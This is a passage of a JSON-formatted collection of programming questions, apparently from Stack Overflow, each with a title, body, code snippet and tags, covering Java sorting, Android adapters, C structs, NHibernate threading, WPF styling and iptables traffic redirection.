here is how I implement it:\n\nCan you help me please ? what I am missing here ?\
nEDIT\nHere is the resulted link in the page:\n\n", "page.has_link?('next_page',
{}).should == true\n", "ruby-on-rails-3 rspec capybara"], "3193915": ["JFreeChart:
how to change XYPlot foreground color?", "The JFreeChart XYPlot background color is
changed using but there doesn't seem to be a corresponding . \n\nHow is the
foreground color (the plot) changed?\n", "setBackgroundPaint()", "java
jfreechart"], "3439928": ["Recursive MergeSort and counting comparisons", "I have
written a program that contains 4 sorting methods, selection sort, insertion sort,
merge sort, and recursive merge sort. The insertion and selection sort methods run
fine and return to me a sorted list and the right amount of comparisons. My merge
sort method returns me a sorted list, but my comparisons = 1. My recursive merge
sort doesnt even sort the list and also says comparisons = 1. Can anybody help me
find my errors? Here is all my code.\n\nThe methods are being called from here...\
n\nand when the program is run this is the output i receive...\n\nBefore sort: 3 2
4 7 17 11 3 0 14 6 8 7 12 15 0 0 9 4 7 16 \nInsert sort: 0 0 0 2 3 3 4 4 6 7 7 7 8
9 11 12 14 15 16 17 comparions=94\nSelect sort: 0 0 0 2 3 3 4 4 6 7 7 7 8 9 11 12
14 15 16 17 comparions=190\nMerge sort: 0 0 0 2 3 3 4 4 6 7 7 7 8 9 11 12 14 15 16
17 comparions=1\nRecMerge sort: 3 2 4 7 17 11 3 0 14 6 8 7 12 15 0 0 9 4 7 16
comparions=1\n\nCan anybody help me fix this!?\n\nI dont know why my recursive
merge sort method wont sort the list. And why the comparisons = 1 for the last
two.\n", "public class ArraySort {\n private long[] a; // ref to
array a\n private int nElems; // number of data items\n\n
public ArraySort(int max) { // constructor\n a = new long[max];
// create the array\n nElems = 0; // no items yet\n }\
n\n public void Clone(ArraySort c) { // c is another array\n c.nElems =
this.nElems; // Copy nElems\n
System.arraycopy(this.a, 0, c.a, 0, this.nElems); // Copy elements\n }\n\n
public void insert(long value) { // put element into array\n a[nElems++] =
value; // insert value\n }\n\n public String toString() {
// displays array contents\n String res=\"\";\n for(int j=0; j<nElems;
j++) // for each element,\n res = res + a[j] + \" \"; //
append it to res\n return res;\n }\n\n private int insertOrder(int n,
long temp) { // insert temp into a[0..(n-1)]\n // and keep a[0..n]
sorted.\n int count = 0;\n while (n > 0) {\n count++;
// count next comparison\n if (a[n-1] > temp) { // until one
is smaller,\n a[n] = a[n-1]; // shift item to right\n
--n;
// go left one position\n } else break;\n }\n
a[n] = temp; // insert marked item\n return count;\n
}\n\n public int insertionSort() {\n int count = 0;\n for (int
n=1; n<nElems; n++) \n count += insertOrder(n, a[n]); // insert a[n]
into a[0..(n-1)]\n\n return count;\n } // end insertionSort()\n\n
private void swap(int one, int two) {\n long temp = a[one];\n a[one] =
a[two];\n a[two] = temp;\n }\n\n public int selectionSort() {\n
int out, in, max, count=0;\n\n for(out=nElems-1; out > 0; out--) { // outer
loop\n max = out; // max is maximum item's index\n
for(in=0; in<out; in++) { // inner loop\n if(a[in] > a[max] )
// if max is smaller,\n max = in; // we have a new
max\n count++; // count one comparison\n
}\n swap(out, max); // swap them\n } // end
for(out)\n return count;\n } // end selectionSort()\n\n public int
mergeSort() { // called by main()\n int count = 0;\n long[]
workSpace = new long[nElems]; // provides workspace\n
recMergeSort(workSpace, 0, nElems-1);\n count++;\n return count;\n
}\n\n\npublic int recMergeSort(long[] workSpace, int lowerBound,\n int
upperBound) {\n\n int count = 0;\n\n if(lowerBound ==
upperBound) // if range is 1,\n return 1;\n\n // find
midpoint\n int mid = (lowerBound+upperBound) / 2;\n\n recMergeSort(workSpace,
lowerBound, mid); // sort low half\n\n recMergeSort(workSpace, mid+1,
upperBound); // sort high half\n\n\n merge(workSpace, lowerBound, mid+1,
upperBound); // merge them\n count++;\n return count;\n\n} // end else\n //
end recMergeSort()\n\n\nprivate int merge(long[] workSpace, int lowPtr,\n
int highPtr, int upperBound)\n{\n int j = 0; //
workspace index\n\n int lowerBound = lowPtr;\n\n int mid = highPtr-1;\n\n
int n = upperBound-lowerBound+1; // # of items\n\n int count = 0;\n\n
while(lowPtr <= mid && highPtr <= upperBound)\n\n if( a[lowPtr] < a[highPtr]
) {\n workSpace[j++] = a[lowPtr++];\n count++;\n }\n\n
else {\n workSpace[j++] = a[highPtr++];\n count++;\
n }\n\n while(lowPtr <= mid)\n workSpace[j++] = a[lowPtr+
+];\n\n count++;\n\n\n while(highPtr <= upperBound)\n
workSpace[j++] = a[highPtr++];\n\n count++;\n\n for(j=0; j<n; j++)\n\
n a[lowerBound+j] = workSpace[j];\n\n return count;\n } // end
merge()\n}\n", "java homework"], "888663": ["Is there a site that will scan my
website and check it for security holes?", "Is there a site that will scan my
website and check it for security holes?\nPreferably one that doesn't charge.\n",
"", "security website"], "5175319": ["Trouble using Responsivepx locally", "I'm
trying to use responsivepx to determine breakpoints on a responsive design I am
working on locally. I am just dropping the local url into the designated area and
trying to open but it doesn't work, and I can't figure out why. Any help would be
appreciated. It works fine on external urls fine.\n", "", "local responsive-
design"], "1678318": ["NAnt and ASP.NET Compiler", "I have a build script running
successfully, but I am having a hard time running anything after aspnet_compiler
completes. I want to use robocopy to copy the project to another folder. If I put
the copy task above the compile (as shown below) I get the message to the console,
but if I place it after the compile it is not seen. Am I missing something? Do I
need to check for a return code from the compiler to call tasks after its
completion?\n\n\nAnd yes, when/if I move the copy task below precompile-web I
change the depends=\"precompile-web\" and the compile task depends to \"init\".\n",
"<target name=\"copy\" depends=\"init\">\n <echo message=\"This is my message
for robocopy...\"/>\n</target>\n\n<target name=\"compile\" depends=\"copy\">\n
<exec program=\"${msbuild.exe}\"\n commandline='MySolution.sln
/p:Configuration=${Configuration};OutDir=\"${build.dir}\\\\\"' />\n</target>\n\
n<target name=\"precompile-web\" depends=\"compile\">\n <exec program=\"$
{aspnet_compiler.exe}\"\n commandline='-v /MyProj-p \"${build.dir}\"\\
_PublishedWebsites\\MyProj.Web'\n />\n", "asp.net build-automation asp.net-3.5
nant"], "2420442": ["How do I test a webpage with ajax injection using symfony
sfTestFunctional?", "I have a webpage (pageA) with a hyperlink (linkA), which when
clicked, makes an ajax call to retrieve some html (pageB) and dynamically adds a
link (linkB) to pageA. I want my functional test to click on linkA, and then click
on linkB when it is created.\nThe problem I'm having is that when I get sfBrowser
to click linkA, the response object only contains pageB and I don't know how to
then tell sfBrowser to click linkB.\n\nIs there some way to \"get back out\" to
pageA?\n", "$browser = new sfTestFunctional(new sfBrowser());\n$browser->\n
get('pageA')->\n with('response')->begin()->\n click('linkA')->\n end()->\n\n
with('response')->begin()->\n click('linkB')-> // I want to do this but I
can't because the response is only pageB.\n end();\n", "symfony-1.4 functional-
testing"], "4018111": ["problem in inflating two layout in one listview using
custom adapter", "I'm inflating two layout in one listview. The data are in json
format. What I do is I concat the json together, and check the appropriate position
for each layout (the first layout only appear from position 0 to first-json's
length - 1). \nThe problem arise when the list view get longer, and I can scroll
down through it. It came out with a Null Pointer exception. So I commented some of
the code, and the error disappear. But what I got is not really what I'm
expecting:\nIt interchange the format randomly. (Assume the length of the first
json is x, so 0 to x-1 should be the first layout. But when I scroll up & down,
sometimes somewhere between 0 and x changed to second layout. As well as other row
> x, sometimes changed to first layout)\nHere's the code of the adapter\n\nhere is
the commented block, which causes null pointer exception before (The error point
the line holder.txt_firstOnly.setText) : \n\nand here's the rest of the code :\n\
n", "public class CustomAdapter extends BaseAdapter {\n\nprivate Activity
activity;\nprivate JSONArray data;\nprivate static LayoutInflater inflater=null;\
nprivate SecondItem second_item;\nprivate FirstItem first_item;\nprivate int
firstLength;\nprivate boolean hasFirst = false;\n\npublic CustomAdapter(Activity a,
JSONArray firstArray, JSONArray secondArray) {\n activity = a;\n first_item =
new FirstItem (firstArray);\n second_item = new SecondItem (secondArray);\n
firstLength = first_item.getLength();\n if (!firstArray.isNull(0)) {\n
data=CustomUtils.concatJsonArray(firstArray, secondArray);\n hasFirst =
true;\n }\n else\n data = secondArray;\n inflater =
(LayoutInflater)activity.getSystemService(Context.LAYOUT_INFLATER_SERVICE);\n\n}\n\
npublic int getCount() {\n // TODO Auto-generated method stub\n return
data.length();\n}\n\npublic Object getItem(int position) {\n // TODO Auto-
generated method stub\n return position;\n}\n\npublic long getItemId(int
position) {\n // TODO Auto-generated method stub\n return position;\n}\n\
npublic static class ViewHolder{\n public TextView txt_both;\n public
TextView txt_first_only;\n ...\n}\n\npublic View getView(final int position,
View convertView, ViewGroup parent) {\n // TODO Auto-generated method stub\n
View vi=convertView;\n ViewHolder holder;\n if(convertView==null){\n
if (position < firstLength && hasFirst) {\n vi =
inflater.inflate(R.layout.first_item, null);\n }\n else {\n
vi = inflater.inflate(R.layout.second_item, null);\n }\n\n\n
holder=new ViewHolder();\n
holder.txt_both=(TextView)vi.findViewById(R.id.txt_both);\n ...\n\n
if (position < firstLength && hasFirst) {\n
holder.txt_firstOnly=(TextView)vi.findViewById(R.id.txt_firstOnly);\
n ...\n\n }\n vi.setTag(holder);\n }\n else\n
holder=(ViewHolder)vi.getTag();\n\n if (position < firstLength && hasFirst) {\n
holder.txt_both.setText(first_item.getContent(position));\n ...\n",
"java android android-listview adapter"], "3996374": ["Linked List Help, Singly
Linked (Multiple Structures) (C Programming)", "I need some help with Linked
Lists.\nI have figured out how to do individual linked list, but I am struggling
when trying to implement multiple struct's and lists.\nMy last program was all used
with Structs but now i must implement linked list's.\nIt says to use \"External
Pointers\" in the fuctions to use in traversing through the various lists.\nThis is
homework for one of my classes, I am not asking for you all to do it for me, but I
am asking to help point me in the right direction.\nThank You,\nThe structs are as
follows:\n\n", " struct stockItem\n {\n char
stockName[60];\n char stockType[60];\n int itemNumber;\n
float actualCost;\n float markUp;\n int
totalCurrentInventory;\n int monthlyRestock;\n float
price; //stores actual cost + markup\n\n };\n\n\n struct
roomData\n {\n float widthFeet, widthInch;\n
float lengthFeet,
lengthInch;\n char roomName[100];\n int
roomNumberOfType;\n char roomType[6]; //char of room type\n
int roomStock[100][2]; //for storing each room stock types\n int
roomHasStock; //if the room has a stock avaliable\n int
roomStockCount; //how many stocks the room has\n float area; // sq
ft\n float rentalRate;\n float profitsPerRoom;\n
float netProfit;\n float grossProfit;\n char
stockLine[200];\n };\n\n struct staffData\n {\n
char firstName[100];\n char lastName[100];\n char
fullName[100];\n int employeeNumber;\n char
typeOfEmployee[10];\n char payType[10];\n float
hourlyWage;\n float salary;\n int hours;\n
char address[150];\n char city[150];\n char
state[10];\n int zip;\n char phone[30];\n
float yearlyTotalPay;\n\n struct hireDate //holds staff hire date\n
{\n int month;\n int day;\n int
year;\n }hireDate;\n\n struct birthDate //holds staff
birth date\n {\n int month;\n int
day;\n int year;\n }birthDate;\n };\n",
"c struct linked-list linked structures"], "5140550": ["Need help generating a core
dump from apache segfault", "I have a script which intermittently returns a white
screen of death in firefox and \nWhen I try to access the script using a PHP HTTP
client (like Zend_Http_Client), intermittently I get an exception (sorry I don't
have the exact message on me at the moment).\nI suspect a segfault. This is further
buttressed by the lines in my error log that look like this: \nNow, I'm running
RedHat, and I know that RedHat doesn't generate core dumps out-of-the-box. I
followed the instructions here http://kbase.redhat.com/faq/docs/DOC-5353, but I'm
not seeing any core dumps. \nHow do I generate a core dump?\n", "Error 324
(net::ERR_EMPTY_RESPONSE): Unknown error. chrome.", "apache2 php segfault
segmentationfault"], "5190587": ["ASP.NET Controls and Generics", "can ASP.NET
controls be used with generics? Never seen this done and want a way to
differentiate some controls on a page by type, ie: DateTime vs int\nexample: \n\n",
"public class MyGenericTextBox<T>: TextBox\n{\npublic MyGenericTextBox<T>() {... }\
n}\n", "asp.net generics usercontrols"], "3141983": ["Elegantly override style of
ComboBox's ToggleButton in WPF", "I have a question regarding how to elegantly
override an arbitrary element deep inside a control's visual tree. I also have
attempted to resolve it in a few different ways, but I've run into several problems
with each. Usually when I try three different paths and fail at each one I go
downstairs, have a coffee, and ask someone smarter than myself. So here I am.\
nSpecifics:\nI want to flatten the style of a combo box so that it will not draw
attention to itself. I want it to be similar to Windows.Forms.ComboBox's FlatStyle
I want it to look the same on Windows 7 and XP. \nMainly, I want to change the look
of a ComboBox's ToggleButton.\nI could just use Blend and rip the control
template's guts out and manually change them. That doesn't sound very appetizing
to me.\nI tried using a style to override the ToggleButton's background, but it
turns out that the whole ComboBox control is actually a front for a ToggleButton. \
n\n\nSo I gave up and ripped it using Blend. I found that it's actually a Style
called ComboBoxTransparentButtonStyle with a target type of ToggleButton. The
style sets a ControlTemplate that uses a DockPanel that has
a \"Microsoft_Windows_Themes:ClassicBorderDecorator\" type set to the right, and
that's what we're actually trying to control. (Are you with me so far?)\nHere's the
pic:\nhttp://img256.imageshack.us/img256/2077/comboboxbackground2.png\n\nArg.
Isn't WPF a blast?\nSo I extracted the style ComboBoxTransparentButtonStyle and
dropped it into another project's application.resources. Problem is I can't apply
that style to a ComboBox because the style I extracted has a targetType of
ToggleButton, so the TargeTypes don't match.\ntl;dr how would you guys do it?\n",
"<Window\nxmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\"\
nxmlns:x=\"http://schemas.microsoft.com/winfx/2006/xaml\"\
nx:Class=\"ComboBoxExpiriment2.MainWindow\"\nx:Name=\"Window\"\
nxmlns:Microsoft_Windows_Themes=\"clr-
namespace:Microsoft.Windows.Themes;assembly=PresentationFramework.Classic\"
xmlns:d=\"http://schemas.microsoft.com/expression/blend/2008\"
xmlns:mc=\"http://schemas.openxmlformats.org/markup-compatibility/2006\"\
nTitle=\"MainWindow\"\nWidth=\"204\" Height=\"103\">\n<Grid x:Name=\"LayoutRoot\">\
n <ComboBox HorizontalAlignment=\"Left\" Margin=\"32,26.723,0,0\" Width=\"120\"
VerticalAlignment=\"Top\" Height=\"21.277\">\n <ComboBox.Style>\n <Style>\n
<Setter Property=\"ToggleButton.Background\" Value=\"Green\" />\n </Style>\n
</ComboBox.Style>\n </ComboBox>\n</Grid>\n", "wpf templates combobox styles
controltemplate"], "2732144": ["javascript add row to javascript generated table",
"Can someone tell me where to add the small piece of code to have one row added on
top of the table containing the numbers. I only need 1 row added, but with the code
supplies beneath, 15 cells alre placed on top of eachother, I think the code places
a cel for every name.\n\nThis code above is the code where it should fit in
somewhere. \nI tried to add it before this part beneath\n\nThis is the code where
it should be placed in somewhere\n\n", "$(\"#myTable
tbody\").prepend(\"<tr><td>...contents...</td></tr>\");\n", "javascript jquery
table"], "2731769": ["Converting a Scala library to a DLL (.NET)", "I'm trying to
create a Dll out of a scala-class. I'm using IntelliJ together with SBT. I've
already found a way to convert .jar files into a Dll, using the ikvm-converter. Now
the problem: When I use \"package\" under SBT to create a .jar file out of
my .scala file and try to convert it afterwards with ikvmc into a Dll the resulting
library is empty when integrated in C#...\nFor example converting the Jama-Library
(which is written in Java) works fine, where converting Scama (written in Scala)
does not work.\nIs there a way to do this conversion of scala code into a dll? Is
there a \"Scala to Java\"-conversion tool?\nBest Regards,\nChristoph\n", "", "java
scala dll ikvm"], "4425330": ["How do we setup a SharePoint dev environment with
VSeWSS 1.2 and Source Safe?", "Does anyone use the MS SharePoint Solution Generator
and VSeWSS 1.2 in a multi-developer environment with source safe? We are having
issues re-deploying (because it doesn't really upgrade the solution with stsadm).
It keeps saying the same feature is already installed - which it is, but it should
retract the feature and re-install it - which it doesn't on some machines.
Something is messed up with the feature's GUID but we can't find where that might
be. One dev will be able to deploy and re-deploy but then the next dev won't.
Where does VSeWSS 1.2 change the GUIDs? ARG!!!\nWe see the nice deployment targets
(upgrade, etc) in STSDev but we're reluctant to use STSDev or the other codeplex
tools because they are not supported by Microsoft. We have Visual Studio 2005 but
not the money to upgrade to VS 2008 to get VSeWSS 1.3 - bummer.\n---UPDATE----\nI
think we found a bug in VSeWSS that other's have commented on: Editing the projects
properties resets some feature GUIDs. \nIt might also be a problem with the scope
of the install. How do we get a site definition to install to the FARM scope in
VSeWSS 1.2?\n", "", "sharepoint visual-studio-2005 wss visual-sourcesafe"],
"5512447": ["getchar() taking the last char from previous printf()?", "I'm writing
a compiler/interpreter for the esoteric language brainf*ck (I'm not too sure on
StackOverflow's profanity policy, so I'll censor myself until somebody tells me I
don't have to), and I'm running into a very mysterious (to me, at least) bug in
which the last character from my debugging output is being accepted as an input to
the brainf*ck program being run. The following is the source for the interpreter:
brainf*ck.c, the source for the program: OR.bf, and a partial print of the output
from running OR.bf through the brainf*ck executable. (Many apologies in advance for
the messy code. I wrote the interpreter in less than a day as a fun project.)\
nThanks in advance for the help!\nbrainf*ck.c:\n\nOR.bf:\n\noutput:\n\nThe above
output is of the following format:\neval: <*instruction ptr> <*data ptr> \n(SO
seems to be mangling the above line, so just refer to the beginning of eval() in
brainf*ck.c.\nAs you can see, the second to last and last lines of output indicate
that getchar() is (for some reason) getting the newline character from the end of
the second to last line instead of waiting for user input (as it did at line 1).\
nI'm more interested in why this bug has cropped up in my program than how to fix
it, because it makes me think that I don't have as good a handle as I thought I had
on input streams in C, but suggestions on a fix are (of course) welcome.\n",
"#include <stdio.h>\n#include <string.h>\n\nchar* readCmd(int, char* []);\nvoid
readProg(FILE*,char[]);\nint checkSyntax(char[]);\nvoid init(char*, char[],
char[]);\nvoid run(unsigned char**, unsigned char**);\nvoid eval(unsigned char**,
unsigned char**);\n\n\nint main(int argc, char* argv[])\n{\n unsigned char
data[30000] = {0};\n unsigned char* dptr = &(data[0]);\n unsigned char** dpptr =
&dptr;\n unsigned char inst[30000]
= {0};\n unsigned char* iptr = &(inst[0]);\n unsigned char** ipptr = &iptr;\n
char* cmd = readCmd(argc, argv);\n FILE* src = fopen(cmd, \"r\");\n if(src !=
NULL)\n {\n readProg(src, inst);\n if(checkSyntax(inst))\n {\n
run(ipptr, dpptr);\n }\n else\n {\n printf(\"Syntax error. Please fix
your code\\n\");\n }\n }\n else\n {\n printf(\"File '%s' not found.\\n\",
cmd);\n }\n fclose(src);\n return 0;\n}\n\n\nchar* readCmd(int argc, char**
argv)\n{\n char* cmd = NULL;\n if(argc == 2)\n {\n cmd = argv[1];\n }\n
else\n {\n cmd = \"\";\n printf(\"Usage: %s <filename>.bf\\n\", argv[0]);\n
}\n return cmd;\n}\n\n\nvoid readProg(FILE* src, char inst[])\n{\n int i = 0;\n
while(!feof(src))\n {\n char c = fgetc(src);\n if(c == '<' || c == '>' || c
== '+' || c == '-' || c == '.' || c == ',' || c == '[' || c == ']')\n {\n
inst[i] = c;\n i++;\n }\n }\n}\n\n\nint checkSyntax(char inst[])\n{\n int
open = 0;\n int i = 0;\n for(i = 0; i < strlen(inst); i++)\n {\n if(inst[i]
== '[')\n open++;\n if(inst[i] == ']')\n open--;\n }\n return !
open;\n}\n\n\nvoid init(char* cmd, char instruct[], char data[])\n{\n return;\n}\
n\n\nvoid run(unsigned char** ipptr, unsigned char** dpptr)\n{\n while(**ipptr !=
0)\n {\n eval(ipptr, dpptr);\n (*ipptr)++;\n }\n return;\n}\n\n\nvoid
eval(unsigned char** ipptr, unsigned char** dpptr)\n{\n //fprintf(log, \"eval: %c
%i %x %x\\n\", **ipptr, **dpptr, *ipptr, *dpptr);\n printf(\"eval: %c %i %x %x\\
n\", **ipptr, **dpptr, *ipptr, *dpptr);\n getch();\n int open = 0;\n
switch(**ipptr)\n {\n case '>':\n (*dpptr)++;\n break;\n case
'<':\n (*dpptr)--;\n break;\n case '+':\n //printf(\"b: dptr:%x
*dptr:%i\\n\", *dpptr, **dpptr);\n (**dpptr)++;\n //printf(\"a: dptr:%x
*dptr:%i\\n\", *dptr, **dpptr);\n break;\n case '-':\n (**dpptr)--;\n
break;\n case '.':\n putchar(**dpptr);\n break;\n case ',':\n
**dpptr = getchar();\n break;\n case '[':\n if(**dpptr)\n {\n
//(*ipptr)++;\n }\n else\n {\n open++;\n do {\n
(*ipptr)++;\n if(**ipptr == '[')\n open++;\n
if(**ipptr == ']')\n open--;\n } while(open);\n }\n
break;\n case ']':\n if(**dpptr)\n {\n open = 1;\n do {\
n (*ipptr)--;\n if(**ipptr == ']')\n open++;\n
if(**ipptr == '[')\n open--;\n } while(open);\n }\n
break;\n default:\n break;\n }\n return;\n}\n", "c io printf getchar
brainfuck"], "2447275": ["Opening command prompt as an administrator", "There's a
hidden folder in windows vista, but no available when I show hidden files: I need
to open as administrator.\nThe folder is named and there are folders on it. Why
cant I see it on Windows Explorer, but can see it when using cmd as administrator?
How can I search if there are similar folders like this on ?\nEDIT: The folder has
two attribues, (System and Hidden).\n", "cmd", "windows windows-vista
administrator"], "3996375": ["Jersey/Jaxb returns list of strings instead of
integers", "this is the class, that my jersey service returns:\n\nThe JSON string
returned is for example:\n\nBut I think the correct JSON string should be:\n\
nWhat's wrong there? Wrong type for the integer list? Wrong annotations?\n",
"@XmlRootElement(name=\"chart-data\")\npublic class ChartDataDto {\nprivate
List<Series> series = new ArrayList<>();\n\n public ChartDataDto()\n {\n\n
}\n\n public void putSeries(String name, Integer... series)\n {\n
this.series.add(new Series(name, series));\n }\n\n
@XmlElement(name=\"series\")\n public List<Series> getSeries()\n {\n
return this.series;\n }\n\n @XmlRootElement(name=\"series\")\n static
class Series\n {\n @XmlElement(name=\"name\")\n public String
name;\n @XmlElement(name=\"values\")\n public List<Integer> series;\
n\n public Series()\n {\n\n }\n\n public Series(String
name, Integer... series)\n {\n this.name = name;\n\n
this.series = Arrays.asList(series);\n }\n }\n}\n", "java javascript json
jaxb jersey"], "4395977": ["Save set of images to pdf file from Java App", "is
there any feasability of saving images which have been loaded from res folder (to a
manager) to the PDF file.\nScenario goes like , there will be set of images in the
Horizontalmanager and while clicking on particular image need to save it to PDF
file and then to Sdcard .\nThanks in Advance.\n", "", "java pdf blackberry
blackberry-jde"], "4878328": ["jquery formatDate localization", "I just don't
understand, I practically copied the code from docs, maybe someone else will see
why it is not working.\n\nThanks in advance.\n", "jquery", "jquery jquery-ui
localization datepicker"], "2202733": ["Powerpoint Open method works find in 2010
but not in 2007", "Written a VSTO for powerpoint to automate opening a template
after a user downloads it. The program was written in VS2010 and I used PowerPoint
2010 to write it around since that's what the majority of our users use. Now I have
to add in support for PowerPoint 2007, the open method works fine for the 2010
PowerPoint but I get a Com error HRESULT E_FAIL when I run the code in PowerPoint
2007. Anyone have any suggestions on what could be the cause of it? \nI've tried
multiple different ways to open them both just he appPres.Open, and
appPres.Open2007. \n", "", "c# vsto powerpoint"], "5327153": ["Invoking interface
extension methods from implementor is weird in C#", "Invoking an extension method
that works on a interface from an implementor seems to require the use of the this
keyword. This seems odd. \nDoes anyone know why?\nIs there an easier way to get
shared implementation for an interface?\nThis irks me as I'm suffering multiple
inheritance/mixin withdrawl.\nToy example:\n\n", "public interface ITest\n{\n
List<string> TestList { get; }\n}\n\npublic static class TestExtensions\n{\n
private const string Old = \"Old\";\n private const string New = \"New\";\n\n
public static void ManipulateTestList(this ITest test)\n {\n for (int i =
0; i < test.TestList.Count; i++)\n {\n test.TestList[i] =
test.TestList[i].Replace(Old, New);\n }\n }\n}\n\npublic class Tester :
ITest\n{\n private List<string> testList = new List<string>();\n public
List<string> TestList\n {\n get { return testList; }\n }\n\n public
Tester()\n {\n testList.Add(\"OldOne\");\n
testList.Add(\"OldTwo\");\n\n // Doesn't work\n //
ManipulateTestList();\n\n // Works\n this.ManipulateTestList();\
n } \n}\n", "c# extension-methods multiple-inheritance mixin"], "3917794":
["Aligning ListBoxItem content", "I am trying to align the content of a . In the
example below I want to have the left aligned and the right aligned in each row
of the ListBox. But the Button always follows directly after the end of the
TextBlock's text and isn't right aligned in the ListBox.\n\nSomething needs to be
changed in my XAML, I guess. What am I doing wrong?\nThanks for help!\n",
"ListBoxItem", ".net wpf listbox"], "1443812": ["Bootstrapping NHibernate in a
Multi-Threaded Environment", "We have a need in our app to support
multiple \"connections\" to different databases, with each connection supporting
the same set of mappings. We have a huge number of mappings (this is a decade-old
legacy application), and each connection and database has the same schema. We
recently added a feature to the application that allows a user on one connection to
view data on all of the other connections, which requires having all of the
connections available at the time of the request.\nBootstrapping a single
connection can take up to 20 seconds over a slow wire. When one of our customers
tried to view data on 7 connections, the application (unsurprisingly) timed out.
To address this, we are taking a two-pronged approach:\nbootstrap all connections
prior to login of the first user (at app_start); and\nat bootstrap, create the
session factories for each connection in a multi-threaded environment to reduce the
timeout problem.\nThe second approach is proving to be problematic. When calling
BuildSessionFactory in a multi-threaded environment, the logs show that the
factories are being constructed serially. (i.e. I spin off the threads at time A,
and they come back at times B, B+10, B+20, B+30, etc). Another developer reporting
setting up an integration environment to test this, and received a duplicate key
exception from within NHIbernate. I have not yet had time to review that error or
his code, but it points to something problematic with using nHibernate in a multi-
threaded environment.\nWould somebody mind taking a look at the following code and
commenting on our approach? Thanks very much.\n\n", " public void
ConstructSessionFactories(IEnumerable<string> connectionNames)\n {\n var
maps = connectionMap.Map.Where(m => connectionNames.Contains(m.Key)).Select(m =>
m.Value);\n maps.ForEach(info =>\n {\n if
(factoryMap.ContainsKey(info.ConnectionString)) return;\n
WaitForCompletionIfFactoryUnderConstruction(info.ConnectionString);\n\n
if (factoryMap.ContainsKey(info.ConnectionString)) return;\n var
task = new Task(() => CreateNewFactory(info));\n
task.ContinueWith(FactoryConstructed,
TaskContinuationOptions.OnlyOnRanToCompletion);\n
task.ContinueWith(FactoryNotConstructed,
TaskContinuationOptions.NotOnRanToCompletion);\n
task.ContinueWith(FactoryConstructionCausedError,
TaskContinuationOptions.OnlyOnFaulted);\n
factoriesUnderConstruction[info.ConnectionString] = task;\n
task.Start();\n\n });\n }\n\n protected virtual ISessionFactory
CreateNewFactory(ConnectionElement info)\n {\n if
(factoryMap.ContainsKey(info.ConnectionString)) return
factoryMap[info.ConnectionString];\n logger.DebugFormat(\"Creating new
SessionFactory for connection '{0}'\", info.Name);\n\n var cfg =
configurationProvider.Get(info);\n ExposeConfiguration(cfg);\n
configData.AddOrUpdate(info.Name, cfg, (key, oldValue) => cfg);\n\n var
factory = cfg.BuildSessionFactory();\n factoryMap[info.ConnectionString] =
factory;\n return factory;\n }\n\n private void
WaitForCompletionIfFactoryUnderConstruction(string connection)\n {\n
while (factoriesUnderConstruction.ContainsKey(connection))\n {\n
Task task;\n factoriesUnderConstruction.TryGetValue(connection, out
task);\n if (task != null) task.Wait();\n } \n }\
n", "c# multithreading nhibernate nhibernate-mapping bootstrapping"], "4889085":
["How to preserve all whitespace in an attribute using xquery?", "I need to
preserve all whitespace in an attribute, as in\n\nAll the whitespace are
significant to find the image.\nI use the saxon processor to parse the xml with an
expression like this:\n\nBut the result is\n\nI hope that someone can help as it
seems to be easy.\nAlain\n", "<img src=\"images/some image.jpg\"/>\n", "xquery
saxon"], "4883757": ["UIImage become Fuzzy when it was scaled.Why?(iOS 5.0)",
"UIImage always become indistinct when it was scaled.What can i do if make it keep
clearness?\n\n", "- (UIImage *)rescaleImageToSize:(CGSize)size {\n CGRect rect =
CGRectMake(0.0, 0.0, size.width, size.height);\n
UIGraphicsBeginImageContext(rect.size);\n [self drawInRect:rect]; // scales
image to rect\n UIImage *resImage =
UIGraphicsGetImageFromCurrentImageContext();\n UIGraphicsEndImageContext();\n
return resImage;\n}\n", "ios uiimage scale"], "625640": ["How can I upload a file
to a Sharepoint Document Library through SOAP web services using Java?", "I'm
trying to upload a document to a document library using the SP 2010 SOAP copy web
service from Java. \nAny idea how to do this in Java?\nHere's the code I have so
far:\n\nBut Eclipse reports that my use of copyIntoItems \"in the type CopySoap is
not applicable for the arguments\". Obviously, my supplied arguments are
incorrect.\nThe WSDL-generated signature for the copyIntoItems() method looks
like:\n\nBut those Collection types and Holder only supply protected accessors,
i.e. no way to set input state. \nCan anyone help me solve this problem?\n",
"String[] destinationUrls = {mySiteUrl + \"/\" + listName + \"/\" + fileName};\n\
n// Set up the metadata\nFieldInformation titleInfo = new FieldInformation();\
ntitleInfo.setDisplayName(\"Title\");\ntitleInfo.setInternalName(\"Title\");\
ntitleInfo.setType(FieldType.TEXT);\ntitleInfo.setValue(\"DocumentTitle\");\n\n//
Content type meta\nFieldInformation contentTypeInfo = new FieldInformation();\
ncontentTypeInfo.setDisplayName(\"Content Type\");\
ncontentTypeInfo.setInternalName(\"Content Type\");\
ncontentTypeInfo.setType(FieldType.CHOICE);\
ncontentTypeInfo.setValue(\"Document\");\n\nFieldInformation[] metadata =
{ titleInfo, contentTypeInfo };\n\n// Copy the new file to the portal document
list\nLong copyIntoResult;\nCopyResult[]
result;\n\nclient.copyIntoItems(\"http://null\", destinationUrls, metadata,
fileBytes, copyIntoResult, result);\n", "document file-upload soap"], "4391044":
["Iptables - Redirect outbound traffic on a port to inbound traffic on 127.0.0.1",
"I will be awarding a +100 bounty to the correct answer once it is available in 48
hours\nIs there a way to redirect traffic set to go out of the server to another
IP, back to the server on localhost (preferably as if it was coming from the
original destination)?\nI'd basically like to be able to set up my own software
that listens on say, port 80, and receives traffic that was sent to say, 1.2.3.4.\
nSo as an example with some code. Here would be the server:\n\nAnd that would
receive traffic from the following client:\n\nSo rather than having the client be
connecting to google.com, it would be connecting to the server I have listening on
localhost for that same server.\nMy intention is to use this to catch malware
connecting to remote hosts.\nI don't specifically need the traffic to be redirected
to 127.0.0.1, but it needs to be redirected to an IP the same machine can listen
to.\nEdit:\nI've tried the following, and it doesn't work--\n\n", "my $server =
IO::Socket::INET->new(\n\n LocalAddr => '127.0.0.1',\n LocalPort => '80',\n
Listen => 128,\n\n);\n", "security iptables redirect"], "2471504": ["\"Connection
closed\" error when using vinagre", "I currently have two machines that I'm trying
to connect on a local network.\nThe problem is this: one machine is running Arch
Linux, and the other is running Ubuntu 11.04. I want to remote desktop from Arch
